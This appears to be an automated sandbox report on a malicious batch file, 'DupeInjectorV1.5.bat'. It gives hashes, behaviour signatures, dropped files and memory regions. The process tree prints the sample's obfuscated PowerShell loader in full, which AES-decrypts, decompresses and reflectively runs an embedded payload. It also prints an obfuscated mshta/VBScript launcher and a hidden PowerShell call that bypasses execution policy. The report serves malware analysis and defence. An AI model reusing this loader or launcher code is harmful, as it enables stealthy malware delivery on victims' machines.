Analysis

  • max time kernel
    59s
  • max time network
    42s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2024, 05:41

General

  • Target

    DupeInjectorV1.5.bat

  • Size

    11.7MB

  • MD5

    6878c36229c1e607455bff2707b7b997

  • SHA1

    91a9764c0c815ef25f86556d38e886223040d543

  • SHA256

    78d6219edaf300488e58b5133f4c9cf79e896ac38a20406b7d44f97e2ef6382d

  • SHA512

    3d253c1b8dcb110ae3433bfdde514b6372c0733cc766aa29a347b70945c98c89b465e1fd61aa4cf3b67798bc1c5b617f2cb10c36b59ef4c07f814688f7ba1e3e

  • SSDEEP

    49152:hZue6SM3O2MCef8qLldKe8iPlqCaGo6FkFglFnjDxPjzTUmm18+NFAJ8UMfDaN1i:4

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function yRWFs($jTmRZ){ $gSPTl=[System.Security.Cryptography.Aes]::Create(); $gSPTl.Mode=[System.Security.Cryptography.CipherMode]::CBC; $gSPTl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $gSPTl.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('JL1XN22CsrHve/JVh4vnlRjNE/57xHQF/eIioVKSeZA='); $gSPTl.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('RCESiKdN+JcFZgPoSB3tZg=='); $jqHph=$gSPTl.CreateDecryptor(); $return_var=$jqHph.TransformFinalBlock($jTmRZ, 0, $jTmRZ.Length); $jqHph.Dispose(); $gSPTl.Dispose(); $return_var;}function wSCZf($jTmRZ){ $PTEYT=New-Object System.IO.MemoryStream(,$jTmRZ); $XeiYV=New-Object System.IO.MemoryStream; Invoke-Expression '$WJZnT #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$PTEYT,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $WJZnT.CopyTo($XeiYV); $WJZnT.Dispose(); $PTEYT.Dispose(); $XeiYV.Dispose(); $XeiYV.ToArray();}function SOEOp($jTmRZ,$pKbtk){ $EkKAe = @( '$gqBcB = [System.#R#e#f#l#e#c#t#i#o#n#.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$jTmRZ);'.Replace("#", ""), '$SkEkH = $gqBcB.EntryPoint;', '$SkEkH.Invoke($null, $pKbtk);' ); foreach ($SgezO in $EkKAe) { Invoke-Expression $SgezO };}$cJgdi=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat').Split([Environment]::NewLine);foreach ($FxTix in $cJgdi) { if ($FxTix.StartsWith('SIROXEN')) { $FsrBa=$FxTix.Substring(7); break; }}$dSrZG=wSCZf (yRWFs ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($FsrBa)));SOEOp $dSrZG (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\DupeInjectorV1.5.bat')); "
      2⤵
        PID:4852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
        2⤵
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1712
    • C:\Windows\$sxr-mshta.exe
      C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-GbmfJGBAttJkONCWTJOC4312:UDNGLrhx=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
      1⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      PID:852

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_deqwrshl.x14.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Windows\$sxr-cmd.exe

      Filesize

      283KB

      MD5

      8a2122e8162dbef04694b9c3e0b6cdee

      SHA1

      f1efb0fddc156e4c61c5f78a54700e4e7984d55d

      SHA256

      b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

      SHA512

      99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

    • C:\Windows\$sxr-mshta.exe

      Filesize

      14KB

      MD5

      0b4340ed812dc82ce636c00fa5c9bef2

      SHA1

      51c97ebe601ef079b16bcd87af827b0be5283d96

      SHA256

      dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

      SHA512

      d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

    • memory/1712-22-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

      Filesize

      64KB

    • memory/1712-25-0x000002CE00000000-0x000002CE00A2C000-memory.dmp

      Filesize

      10.2MB

    • memory/1712-13-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

      Filesize

      64KB

    • memory/1712-14-0x000002CE7DC80000-0x000002CE7DCC4000-memory.dmp

      Filesize

      272KB

    • memory/1712-15-0x000002CE7DD50000-0x000002CE7DDC6000-memory.dmp

      Filesize

      472KB

    • memory/1712-17-0x000002CE38000000-0x000002CE388A8000-memory.dmp

      Filesize

      8.7MB

    • memory/1712-18-0x00007FFDAB1A0000-0x00007FFDAB25E000-memory.dmp

      Filesize

      760KB

    • memory/1712-19-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

      Filesize

      2.0MB

    • memory/1712-20-0x00007FFD8E000000-0x00007FFD8EAC1000-memory.dmp

      Filesize

      10.8MB

    • memory/1712-21-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

      Filesize

      2.0MB

    • memory/1712-23-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

      Filesize

      64KB

    • memory/1712-11-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

      Filesize

      64KB

    • memory/1712-24-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

      Filesize

      2.0MB

    • memory/1712-12-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

      Filesize

      64KB

    • memory/1712-26-0x000002CE7B850000-0x000002CE7B860000-memory.dmp

      Filesize

      64KB

    • memory/1712-27-0x000002CE00A50000-0x000002CE00AEC000-memory.dmp

      Filesize

      624KB

    • memory/1712-28-0x000002CE00AF0000-0x000002CE00B40000-memory.dmp

      Filesize

      320KB

    • memory/1712-29-0x000002CE00B40000-0x000002CE00B98000-memory.dmp

      Filesize

      352KB

    • memory/1712-30-0x000002CE00BA0000-0x000002CE00BCC000-memory.dmp

      Filesize

      176KB

    • memory/1712-37-0x000002CE00A40000-0x000002CE00A46000-memory.dmp

      Filesize

      24KB

    • memory/1712-38-0x0000000180000000-0x0000000180007000-memory.dmp

      Filesize

      28KB

    • memory/1712-10-0x00007FFD8E000000-0x00007FFD8EAC1000-memory.dmp

      Filesize

      10.8MB

    • memory/1712-42-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

      Filesize

      2.0MB

    • memory/1712-44-0x00007FFDAD150000-0x00007FFDAD345000-memory.dmp

      Filesize

      2.0MB

    • memory/1712-6-0x000002CE63540000-0x000002CE63562000-memory.dmp

      Filesize

      136KB